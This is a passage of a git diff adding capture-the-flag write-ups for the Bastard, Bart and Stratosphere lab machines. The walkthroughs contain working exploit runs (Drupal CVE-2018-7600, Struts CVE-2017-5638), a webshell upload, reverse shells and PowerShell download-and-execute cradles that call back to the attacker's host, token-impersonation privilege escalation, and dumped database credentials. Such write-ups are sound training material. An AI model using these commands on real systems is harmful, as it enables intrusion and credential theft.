Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site | exploits/php/webapps/25493.txt + Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | exploits/php/remote/40144.php + Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | exploits/php/webapps/35397.txt + Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | exploits/php/remote/40130.rb + Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | exploits/php/webapps/44501.txt + ----------------------------------------------------------------------------- ------------------------------- + + +copying 41564.php locally, we examine it and see that it wants us to browse to the /rest_endpoint. + +![](prg/2_001.png) + +But we need to correct this url to /rest in order to get the desired effect : + +![](prg/2_002.png) + +After much trial and error, many of the aforementionned php scripts were outdated and unusable, so i switched over to a python script instead : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → python3 2018-7600.py http://10.10.10.9/ -c "whoami" + + ============================================================================= + | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) | + | by pimps | + ============================================================================= + + [*] Poisoning a form and including it in cache. + [*] Poisoned form ID: form-F2PmgwKau-sei4wLBRAsbitLPDkYqeRHaKxEw4WeQNo + [*] Triggering exploit to execute: whoami + nt authority\iusr + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → python3 2018-7600.py http://10.10.10.9/ -c "type C:\Users\dimitris\desktop\user.txt" + + ============================================================================= + | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) | + | by pimps | + ============================================================================= + + [*] Poisoning a form and including it in cache. + [*] Poisoned form ID: form-u8rZwB5AUBU3RSzFAvz5PX_RUlfC7iWMA0Om2-K_gXM + [*] Triggering exploit to execute: type C:\Users\dimitris\desktop\user.txt + baXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have the user flag + +## **Part 3 : Getting Root Access** + +In order to read the root flag of this machine , we first need to somehow access the machine, first let's run the systeminfo command : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → python3 2018-7600.py http://10.10.10.9/ -c "systeminfo" + + ============================================================================= + | DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) | + | by pimps | + ============================================================================= + + [*] Poisoning a form and including it in cache. + [*] Poisoned form ID: form-l-goUGhqwcUeRLLycex1-gKPluVKCYJEfkgbWBW7XXU + [*] Triggering exploit to execute: systeminfo + + Host Name: BASTARD + OS Name: Microsoft Windows Server 2008 R2 Datacenter + OS Version: 6.1.7600 N/A Build 7600 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00496-001-0001283-84782 + Original Install Date: 18/3/2017, 7:04:46 �� + System Boot Time: 20/2/2020, 4:02:55 �� + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 2 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: el;Greek + Input Locale: en-us;English (United States) + Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul + Total Physical Memory: 2.047 MB + Available Physical Memory: 1.494 MB + Virtual Memory: Max Size: 4.095 MB + Virtual Memory: Available: 3.492 MB + Virtual Memory: In Use: 603 MB + Page File Location(s): C:\pagefile.sys + Domain: HTB + Logon Server: N/A + Hotfix(s): N/A + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.9 + + +So here are a few more details of the box , let's try a php exploit that our searchsploit command found earlier : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → locate 41564.php + /usr/share/exploitdb/exploits/php/webapps/41564.php + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → cp /usr/share/exploitdb/exploits/php/webapps/41564.php . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → nano 41564.php + + + + #!/usr/bin/php + <****?php + error_reporting(E_ALL); + + define('QID', 'anything'); + define('TYPE_PHP', 'application/vnd.php.serialized'); + define('TYPE_JSON', 'application/json'); + define('CONTROLLER', 'user'); + define('ACTION', 'login'); + + $myfile = fopen('payload1.txt', 'r'); + $payload1 = fread($myfile,filesize('payload1.txt')); + $url = '10.10.10.9'; + $endpoint_path = '/rest'; + $endpoint = 'rest_endpoint'; $file = [ + 'filename' => 'exp1o1t9r.php', + 'data' => $payload1 + ]; + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → nano 41564.php + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → wget -O payload1.txt https://raw.githubusercontent.com/BlackArch/webshells/master/php/b374k-2.7.php + --2020-02-20 19:09:26-- https://raw.githubusercontent.com/BlackArch/webshells/master/php/b374k-2.7.php + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → php 41564.php + Stored session information in session.json + Stored user information in user.json + Cache contains 7 entries + File written: 10.10.10.9/exp1o1t9r.php + + +Browse to http://10.10.10.9/exp1o1t9r.php logging in with his credentials : b374k and then browse to the reverse shell tab and select php reverse shell clicking Go once your terminal's netcat command is ready + +![](prg/2_004.png) _Terminal_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Bastard] + → nc -lvnp 9003 + listening on [any] 9003 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.9] 49305 + b374k shell : connected + C:\inetpub\drupal-7.54>whoami + nt authority\iusr + + C:\inetpub\drupal-7.54> + + +once we're there, we upload the ms15-051.exe binary through the reverse php shell we just had in order to privesc ,which will send yet another reverse shell but this time as the administrator user : + + + C:\Windows\system32>whoami + whoami + nt authority\system + + C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt.txt + type C:\Users\Administrator\Desktop\root.txt.txt + 4bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we got the root flag :) + +## **Conclusion** + +Here we can see the progress graph : + +![](img/2_graph.png) + diff --git a/Medium/20.md b/Medium/20.md new file mode 100644 index 0000000..d91c407 --- /dev/null +++ b/Medium/20.md @@ -0,0 +1,350 @@ +# Bart Writeup + +![](img/20.png) + +## Introduction : + +Bart is a Medium windows box released back in Febuary 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.3/23 ] [/etc/init.d] + → nmap 10.10.10.81 -F + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 23:06 GMT + Nmap scan report for 10.10.10.81 + Host is up (0.20s latency). + Not shown: 99 filtered ports + PORT STATE SERVICE + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 15.46 seconds + + λ nihilist [ 10.10.14.3/23 ] [/etc/init.d] + → nmap -sCV -p80 10.10.10.81 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-14 23:09 GMT + Nmap scan report for 10.10.10.81 + Host is up (0.100s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: Did not follow redirect to http://forum.bart.htb/ + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.49 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running http with a domain name entry forum.bart.htb so let's add it to our /etc/hosts file: + + + λ root [ 10.10.14.3/23 ] [~] + → echo '10.10.10.81 forum.bart.htb bart.htb' >> /etc/hosts + + +` ![](prg/20_001.png) + +And we have access to the webpage ! now let's investigate it a bit further: + + + λ nihilist [ 10.10.14.10/23 ] [~] + → curl -sk http://forum.bart.htb | grep wordpress + <****a href="http://wordpress.org/">Proudly powered by WordPress <****/a> + +Looks like we have a wordpress website to work with, so my initial reflex was to use dirsearch or gobuster to find it's directories although it seems like we can't use neither of the two on forum.bart.htb nor on bart.htb so by interecepting the request in burpsuite we and from the repeater tab, by rendering the page, it seems to return a 200 status code on non-existant directories so we use the appropriate gobuster command : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u bart.htb -s "204,301,302,307,401,403" -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://bart.htb + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/03/15 14:09:26 Starting gobuster + =============================================================== + /forum (Status: 301) + /monitor (Status: 301) + /Forum (Status: 301) + /Monitor (Status: 301) + + +It was painfully slow, but gobuster found some interesting results, in particular the /monitor one which is a PHP Server Monitor v3.2.1 login page: + +![](prg/20_002.png) + +Next up we navigate to the Forgot Password tab and enter a random username, to get the following error message : + +![](prg/20_003.png) + +Now earlier on we found a username "harvey" so let's try it : + +![](prg/20_004.png) + +And seems like this username exists! And trying his last name "potter" as the password gives us access to the monitor.bart.htb page so we edit our /etc/hosts file once again: + + + 10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb + + +` ![](prg/20_005.png) + +Next up we navigate over to Status > Internal Chat and we see yet another hostname to add to our /etc/hosts file : + +![](prg/20_006.png) + + + 10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb internal-01.bart.htb + + +Navigating over to internal-01.bart.htb we find the following login page: + +![](prg/20_007.png) + +Login page onto which the credentials **harry:potter** don't work so let's go and find the [github page](https://github.com/magkopian/php-ajax-simple-chat) for this simple chat and looking at it we should have access to a register.php page so let's check it out using burpsuite: + +![](prg/20_008.png) + +Sending it over to the repeater (CTRL+R) and then going to the repeater (CTRL+SHIFT+R) we are able to craft the following request: + +![](prg/20_009.png) + +And looking at the response, we seem to get a 302 status code, which seems like we succeeded in registering our account, so let's go ahead and login using the credential we sent nihilist:prometheus. + +![](prg/20_010.png) + +And we're in ! Now looking at the page sourcecode, we are hinted towards the log and log_chat php files: + + + λ nihilist [ 10.10.14.10/23 ] [~] + → curl -sk http://internal-01.bart.htb/log/log.php\?filename\=log.txt\&username;\=harvey + + λ nihilist [ 10.10.14.10/23 ] [~] + → curl -sk http://internal-01.bart.htb/log/log.php\?filename\=log.txt + <****br /> <****b>Notice <****/b>: Undefined index: username in <****b>C:\inetpub\wwwroot\internal-01\log\log.php <****/b> on line <****b>20 <****/b> <****br /> + 0% + λ nihilist [ 10.10.14.10/23 ] [~] + → curl -sk http://internal-01.bart.htb/log/log.php <****br /> <****b>Notice <****/b>: Undefined index: filename in <****b>C:\inetpub\wwwroot\internal-01\log\log.php <****/b> on line <****b>19 <****/b> <****br /> <****br /> <****b>Notice <****/b>: Undefined index: username in <****b>C:\inetpub\wwwroot\internal-01\log\log.php <****/b> on line <****b>20 <****/b> <****br /> + 0% + +Something's sketchy with this log.php file, it looks like it logs the username, and the user agent of the incoming request. So let's craft a request using burpsuite by changing the User-Agent to try and get remote code execution: + +![](prg/20_011.png) + +Now that we added the cmd parameter, let's actually use it to get remote code execution: by changing the filename=log.txt parameter to filename=log.php and by adding our cmd=id : + +![](prg/20_012.png) + +And we have code execution ! so now let's try to get a reverse shell using nishang's Invoke-PowerShellTcp.ps1 + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → locate Invoke-PowerShellTcp.ps1 + /home/nihilist/_HTB/Bastard/Invoke-PowerShellTcp.ps1 + /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9001' >> Invoke-PowerShellTcp.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → mv Invoke-PowerShellTcp.ps1 nihilist.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → python -m SimpleHTTPServer 8081 + Serving HTTP on 0.0.0.0 port 8081 ... + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → nc -lvnp 9001 + Ncat: Version 7.80 ( https://nmap.org/ncat ) + Ncat: Listening on :::9001 + Ncat: Listening on 0.0.0.0:9001 + + + +` ![](prg/20_013.png) + +Now that we have changed our cmd parameter we URL encode it (CTRL+U) and then hit send to get a reverse shell : + +![](prg/20_014.png) + +And we have a reverse shell on the box ! + +## **Part 3 : Getting Root Access** + +Now to privesc on this box we'll first check the privileges that are enabled for our user: + + + PS C:\inetpub\wwwroot\internal-01\simple_chat\includes> whoami /priv + + PRIVILEGES INFORMATION + ---------------------- + + Privilege Name Description State + ======================= ========================================= ======= + SeChangeNotifyPrivilege Bypass traverse checking Enabled + SeImpersonatePrivilege Impersonate a client after authentication Enabled + SeCreateGlobalPrivilege Create global objects Enabled + + + +SetImpersonatePrivilege is enabled so we should be able to get to the SYSTEM privileges using Juicy Potato. Users running the SQL server or IIS usually have these privileges by default. it is designed to allow a service to impersonate other users on the system. Which is why Juicy Potato is of relevance here, because it exploits the way MS handles tokens in order to privesc to SYSTEM. So first let's download the executable locally and then upload it : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe + --2020-03-15 16:23:24-- https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe + Resolving github.com (github.com)... 140.82.118.4 + Connecting to github.com (github.com)|140.82.118.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20200315%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20200315T162338Z&X-Amz-Expires;=300&X-Amz-Signature;=ce85a8ad77f1a0147ad0815a54d198c71539339d9a10362e0f008ab3a0ce11c9&X-Amz-SignedHeaders;=host&actor;_id=0&response-content-disposition;=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type;=application%2Foctet-stream [following] + --2020-03-15 16:23:30-- https://github-production-release-asset-2e65be.s3.amazonaws.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential;=AKIAIWNJYAX4CSVEH53A%2F20200315%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date;=20200315T162338Z&X-Amz-Expires;=300&X-Amz-Signature;=ce85a8ad77f1a0147ad0815a54d198c71539339d9a10362e0f008ab3a0ce11c9&X-Amz-SignedHeaders;=host&actor;_id=0&response-content-disposition;=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type;=application%2Foctet-stream + Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.216.228.40 + Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.216.228.40|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 347648 (340K) [application/octet-stream] + Saving to: ‘JuicyPotato.exe’ + + JuicyPotato.exe 100%[=========>] 339.50K 721KB/s in 0.5s + + 2020-03-15 16:23:31 (721 KB/s) - ‘JuicyPotato.exe’ saved [347648/347648] + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → python -m SimpleHTTPServer 8081 + Serving HTTP on 0.0.0.0 port 8081 ... + + +` _Terminal 2:_ + + + PS C:\inetpub\wwwroot\internal-01\simple_chat\includes> cd C:\Users\Public\Downloads + PS C:\Users\Public\Downloads> iex(new-object net.webclient).downloadfile('http://10.10.14.10:8081/JuicyPotato.exe','C:\Users\Public\Downloads\jp.exe') + PS C:\Users\Public\Downloads> Invoke-PowerShellTcp : Cannot bind argument to parameter 'Command' because it + is null. + At line:126 char:2 + + }Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9001 + + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorExcep + tion + + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio + n,Invoke-PowerShellTcp + + + PS C:\Users\Public\Downloads> ls + + + Directory: C:\Users\Public\Downloads + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 15/03/2020 16:29 347648 jp.exe + + +Once downloaded, we execute it : + + + PS C:\Users\Public\Downloads> ./jp.exe + JuicyPotato v0.1 + + Mandatory args: + -t createprocess call: <****t> CreateProcessWithTokenW, <****u> CreateProcessAsUser, <*> try both + -p <****program>: program to launch + -l <****port>: COM server listen port + + + Optional args: + -m <****ip>: COM server listen address (default 127.0.0.1) + -a <****argument>: command line argument to pass to program (default NULL) + -k <****ip>: RPC server ip address (default 127.0.0.1) + -n <****port>: RPC server listen port (default 135) + -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) + -z only test CLSID and print token's user + + +Here we will need -t , -p and -l , so locally we'll copy yet another reverse shell from nishang, and add the correct line at the end of it : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → locate Invoke-PowerShellTcp.ps1 + /home/nihilist/_HTB/Bastard/Invoke-PowerShellTcp.ps1 + /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 . + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → mv Invoke-PowerShellTcp.ps1 ech1.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 9002' >> ech1.ps1 + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → nano shell.bat + + +Next up we create the shell.bat file that will download and execute our ech1.ps1 reverse shell : + + + powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.10:8081/ech1.ps1') + + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → python -m SimpleHTTPServer 8081 + Serving HTTP on 0.0.0.0 port 8081 ... + + +` _Terminal 3:_ + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Bart] + → nc -lvnp 9002 + + +Now we download and execute our shell.bat file that will download and execute our ech1.ps1 reverse shell so that we can grab the incoming reverse shell on our port 9002: + +_Terminal 2:_ + + + iex(new-object net.webclient).downloadfile('http://10.10.14.10:8081/shell.bat','C:\Users\Public\Downloads\shell.bat') + + +` ![](prg/20_015.png) + +And it worked ! However the shell closes on us after a bit so we'll use our jp.exe in conjunction with a Windows 10 Pro CLSID available on Juicy Potato's github repository to finally get the reverse shell with SYSTEM privileges: + +![](prg/20_016.png) + +And that's it ! we have been able to print out the user and root flags ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/20_graph.png) + diff --git a/Medium/21.md b/Medium/21.md new file mode 100644 index 0000000..f40e9ef --- /dev/null +++ b/Medium/21.md @@ -0,0 +1,362 @@ +# Stratosphere Writeup + +![](img/21.png) + +## Introduction : + +Stratosphere is a Medium Linux box released back in March 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.10/23 ] [~] + → nmap -sCV -p 22,80,8080 10.10.10.64 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 22:52 GMT + Nmap scan report for 10.10.10.64 + Host is up (0.091s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) + | ssh-hostkey: + | 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA) + | 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA) + |_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519) + 80/tcp open http + | fingerprint-strings: + | FourOhFourRequest: + | HTTP/1.1 404 + | Content-Type: text/html;charset=utf-8 + | Content-Language: en + | Content-Length: 1114 + | Date: Sun, 15 Mar 2020 22:53:54 GMT + | Connection: close + | GetRequest: + | HTTP/1.1 200 + | Accept-Ranges: bytes + | ETag: W/"1708-1519762495000" + | Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT + | Content-Type: text/html + | Content-Length: 1708 + | Date: Sun, 15 Mar 2020 22:53:54 GMT + | Connection: close + | HTTPOptions: + | HTTP/1.1 200 + | Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS + | Content-Length: 0 + | Date: Sun, 15 Mar 2020 22:53:54 GMT + | Connection: close + | RTSPRequest, X11Probe: + | HTTP/1.1 400 + | Date: Sun, 15 Mar 2020 22:53:54 GMT + |_ Connection: close + | http-methods: + |_ Potentially risky methods: PUT DELETE + |_http-title: Stratosphere + 8080/tcp open http-proxy + | fingerprint-strings: + | FourOhFourRequest: + | HTTP/1.1 404 + | Content-Type: text/html;charset=utf-8 + | Content-Language: en + | Content-Length: 1114 + | Date: Sun, 15 Mar 2020 22:53:54 GMT + | Connection: close + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 22.10 seconds + + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 and 8080 running http so let's dirsearch both of them : + +![](prg/21_001.png) + +Suprisingly both the dirsearch scans found the exact same directories : + + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-15_22-57-35.log + + Target: http://10.10.10.64/ + + [22:57:35] Starting: + [22:57:36] 200 - 2KB - / + [22:57:58] 302 - 0B - /manager -> /manager/ + [22:58:31] 302 - 0B - /Monitoring -> /Monitoring/ + [22:59:07] 400 - 0B - /http%3A%2F%2Fwww + [23:00:58] 400 - 0B - /http%3A%2F%2Fyoutube + [23:01:46] 400 - 0B - /http%3A%2F%2Fblogs + [23:01:52] 400 - 0B - /http%3A%2F%2Fblog + [23:02:30] 400 - 0B - /%2A%2Ahttp%3A%2F%2Fwww + + +So we investigate /manager: + +![](prg/21_002.png) + +Which is a login form, so we move over to /Monitoring + +![](prg/21_003.png) + +Here we see that we are redirected to the following link : **http://10.10.10.64:8080/Monitoring/example/Welcome.action** and that we can either sign on or register, however trying to register we see that we get an error: + +![](prg/21_004.png) + +With the following URL : + + + http://10.10.10.64/Monitoring/example/Register.action;jsessionid=AFF9FBE2C10195E4BD717ABD893099E2 + + +Moving over to the Sign On page we try to login with a random username and password, and we get the following request: + +![](prg/21_005.png) + +we'll leave that aside for now, and head back to the Monitoring homepage, we see that the extension .action is used instead of .do for apache struts actions. Struts is a model-view-controller framework for creating java web applications. Struts has suffered from a couple of vulnerabilities using the technique of object-graph navigation language (OGNL) injection. OGNL is an expression language that allows the setting of an object properties and execution of various methods of Java classes, which can be maliciously used to perform RCE attacks against Apache servers. Most notably [cve2017-5638](https://www.exploit-db/exploits/41570), to which we have a few exploits we can use: + + + λ nihilist [ 10.10.14.10/23 ] [~] + → cd /usr/share/exploitdb + + λ nihilist [ 10.10.14.10/23 ] [/usr/share/exploitdb] + → grep -Ri 2017-5638 + exploits/linux/webapps/41570.py: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') + exploits/multiple/remote/41614.rb: ['CVE', '2017-5638'], + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → cp /usr/share/exploitdb/exploits/linux/webapps/41570.py . + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → nano 41570.py + + +In it we can see that it is trying to abuse the Content-Type header by setting it to **%{(#_='multipart/form-data').(payload)** : + +![](prg/21_006.png) + +we can even check if it is vulnerable to this particular CVE by using nmap's --script flag: + + + λ nihilist [ 10.10.14.10/23 ] [~] + → nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 08:44 GMT + Nmap scan report for 10.10.10.64 + Host is up (0.094s latency). + + PORT STATE SERVICE + 8080/tcp open http-proxy + | http-vuln-cve2017-5638: + | VULNERABLE: + | Apache Struts Remote Code Execution Vulnerability + | State: VULNERABLE + | IDs: CVE:CVE-2017-5638 + | Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution + | vulnerability via the Content-Type header. + | + | Disclosure date: 2017-03-07 + | References: + | https://cwiki.apache.org/confluence/display/WW/S2-045 + | http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html + |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 + + +And it looks like it is vulnerable, so let's test it out but be careful that the final / of the URL is important otherwise you won't get any results: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring id + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: id + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ id + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: id + + uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8) + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ "cat /home/richard/user.txt" + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: cat /home/richard/user.txt + + cat: /home/richard/user.txt: Permission denied + + + +And we get RCE as tomcat8 ! However trying to print the user richard flag we see that we need to privesc so you could try to get a reverse shell but it may be tedious since we'll find out later on that the box has iptables configured. So first we print out the db_connect file contents to see if we can grab credentials: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ "ls" + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: ls + + conf + db_connect + lib + logs + policy + webapps + work + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ "cat db_connect" + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: cat db_connect + + [ssn] + user=ssn_admin + pass=AWs64@on*& + + [users] + user=admin + pass=admin + + + +You may be tempted to use the ssn_admin:AWs64@on*& creds but as a matter of fact we'll use the default credentials admin:admin to log into mysql and print out other credentials: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ **"** mysql -u admin **-p admin** -e "use users;select * from accounts"**"** + + +This above is incorrect since we have to use a pair of singlequotes and doublequotes instead of 2 pairs of doublequotes, moreso the -p admin syntax is incorrect because you need to spell it this way (-padmin) so now we correct our command : + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → python 41570.py http://10.10.10.64:8080/Monitoring/ **'** mysql -u admin **-padmin** -e "use users;select * from accounts"**'** + [*] CVE: 2017-5638 - Apache Struts2 S2-045 + [*] cmd: mysql -u admin -padmin -e "use users;select * from accounts" + + fullName password username + Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard + + +And we have credentials ! richard:9tc*rhKuG5TyXvUJOrE^5CK7k so we log into the machine via ssh: + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere] + → ssh richard@10.10.10.64 + The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established. + ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts. + richard@10.10.10.64's password: + Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Feb 27 16:26:33 2018 from 10.10.14.2 + richard@stratosphere:~$ cat user.txt + e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now our first reflex to enumerate a box is by typing sudo -l to see if we can execute anything with root privileges as the current user: + + + richard@stratosphere:~$ sudo -l + Matching Defaults entries for richard on stratosphere: + 